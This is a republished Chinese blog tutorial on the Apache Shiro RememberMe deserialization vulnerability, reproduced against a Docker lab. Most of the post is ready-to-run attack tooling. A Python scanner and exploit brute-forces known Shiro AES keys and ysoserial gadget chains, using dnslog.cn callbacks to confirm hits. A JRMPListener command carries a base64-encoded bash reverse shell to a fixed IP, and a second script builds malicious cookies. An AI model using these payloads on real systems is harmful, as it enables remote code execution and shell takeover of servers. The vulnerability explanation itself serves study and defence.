前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一文看懂shiro反序列化漏洞

一文看懂shiro反序列化漏洞

作者头像
MssnHarvey
发布2022-08-10 17:17:49
1.6K0
发布2022-08-10 17:17:49
举报
文章被收录于专栏:HarveyHarvey

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。

工作原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑如下:

获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化 在服务端接收cookie值时,按照如下步骤来解析处理: 1、检索RememberMe cookie 的值 2、Base 64解码 3、使用AES解密(加密密钥硬编码) 4、进行反序列化操作(未作过滤处理) 在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

漏洞原理

因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题 在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执行恶意代码 而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透

漏洞复现

代码语言:javascript
复制
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
访问 http://127.0.0.1:8081即可

漏洞扫描:shiro_scan.py

代码语言:javascript
复制
#! python2.7
import os
import re
import base64
import uuid
import subprocess
import requests
import sys
import json
import time
import random
import argparse
from Crypto.Cipher import AES

JAR_FILE = 'ysoserial.jar'

CipherKeys = [
    "kPH+bIxk5D2deZiIxcaaaA==",
    "4AvVhmFLUs0KTA3Kprsdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
    "2AvVhdsgUs0FSA3SDFAdag==",
    "6ZmI6I2j5Y+R5aSn5ZOlAA==",
    "wGiHplamyXlVB11UXWol8g==",
    "cmVtZW1iZXJNZQAAAAAAAA==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "ZnJlc2h6Y24xMjM0NTY3OA==",
    "L7RioUULEFhRyxM7a2R/Yg==",
    "RVZBTk5JR0hUTFlfV0FPVQ==",
    "fCq+/xW488hMTCD+cmJ3aQ==",
    "WkhBTkdYSUFPSEVJX0NBVA==",
    "1QWLxg+NYmxraMoxAXu/Iw==",
    "WcfHGU25gNnTxTlmJMeSpw==",
    "a2VlcE9uR29pbmdBbmRGaQ==",
    "bWluZS1hc3NldC1rZXk6QQ==",
    "5aaC5qKm5oqA5pyvAAAAAA==",
    #"ZWvohmPdUsAWT3=KpPqda",
    "r0e3c16IdVkouZgk1TKVMg==",
    "ZUdsaGJuSmxibVI2ZHc9PQ==",
    "U3ByaW5nQmxhZGUAAAAAAA==",
    "LEGEND-CAMPUS-CIPHERKEY=="
    #"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",
    ]

gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]

session = requests.Session()
def genpayload(params, CipherKey,fp):
    gadget,command = params
    if not os.path.exists(fp):
        raise Exception('jar file not found')
    popen = subprocess.Popen(['java','-jar',fp,gadget,command],
                            stdout=subprocess.PIPE)
    BS = AES.block_size
    #print(command)
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    #key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(CipherKey), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

def getdomain():
    try :
        ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text
    except Exception as e:
        print("getdomain error:" + str(e))
        ret = "error"
        pass
    return ret

def getrecord():
    try :
        ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text
        #print(ret)
    except Exception as e:
        print("getrecord error:" + str(e))
        ret = "error"
        pass
    return ret

def check(url):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url

    print("checking url:" + url)

    domain = getdnshost()
    if domain:
        reversehost = "http://" + domain

        for CipherKey in CipherKeys:
            ret = {"vul":False,"CipherKey":"","url":target}

            try:
                print("try CipherKey :" +CipherKey)

                payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)

                print("generator payload done.")

                r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)

                print("send payload ok.")
                for i in range(1,5):
                    print("checking.....")

                    time.sleep(2)
                    temp = getrecord()
                    if domain in temp:
                        ret["vul"] = True
                        ret["CipherKey"] = CipherKey
                        break
            except Exception as e:
                print(str(e))
                pass
            if ret["vul"]:
                break
    else:
        print("get dns host error")
    return ret

def exploit(url,gadget,params,CipherKey):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = genpayload((gadget, params),CipherKey,JAR_FILE)
        r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
        print(r.text)
    except Exception as e:
        print("exploit error:" + str(e))
        pass

def getdnshost():
    reversehost = ""
    try :
        domain = getdomain()
        if domain=="error":
            print("getdomain error")
        else:
            #reversehost = "http://" +domain
            reversehost = domain
            #print("got reversehost : " + reversehost)
    except:
        pass
    return reversehost

def detector(url,CipherKey,command):
    result = []
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        for g in gadgets:
            g = g.strip()

            domain = getdnshost()
            if domain:
                if g == "JRMPClient":
                    param = "%s:80" % domain
                else:
                    param = command.replace("{dnshost}",domain)
                payload = genpayload((g, param),CipherKey,JAR_FILE)
                print(g + " testing.....")
                r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
                #print(r.read())
                for i in range(1,5):
                    #print("checking.....")
                    time.sleep(2)
                    temp = getrecord()
                    if domain in temp:
                        ret = g
                        #ret["CipherKey"] = CipherKey
                        result.append(ret)
                        print("found gadget:\t" + g)
                        break
            else:
                print("get dns host error")
                    #break
        #print(r.text)
    except Exception as e:
        print("detector error:" + str(e))
        pass
    return result

def parser_error(errmsg):
    print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
    sys.exit()

def parse_args():
    # parse the arguments
    parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target")
    parser.error = parser_error
    parser._optionals.title = "OPTIONS"
    parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True)
    parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False)
    parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False)
    parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False)
    parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False)
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    url = args.url
    type = args.type
    command = args.params
    key = args.key
    gadget = args.gadget
    if type=="1":
        r = check(url)
        print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"]))
    elif type=="2":
        exploit(url,gadget,command,key)
        print("exploit done.")
    elif type=="3":
        
        r = detector(url,key,command)
        if r :
            print("found gadget:\n")
            print(r)
    else:
        print("invalid type")

根据脚本里面的key进行扫描,并返回key 利用漏洞获取shell 使用jackson编码 http://www.jackson-t.ca/runtime-exec-payloads.html

nc监听反弹shell的端口 nc -lvp 1234 使用ysoserial.jar的JRMP监听(本机或者vps上监听)

代码语言:javascript
复制
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjguMTEuMTU5LzExMjMgMD4mMQ==}|{base64,-d}|{bash,-i}"

生成payload的exp:shiro_exp.py

代码语言:javascript
复制
# -*- coding: utf-8 -*-
import uuid
import base64
import subprocess
import sys
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # 密钥使用检测成功的密钥
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())
python2 shiro_exp.py 10.228.11.159:6666 意思是把shell反弹到vsp(你的本机)上的6666端口

burp请求

成功获取shell

本文参与?腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-12-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客?前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体同步曝光计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 工作原理
  • 漏洞原理
  • 漏洞复现
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com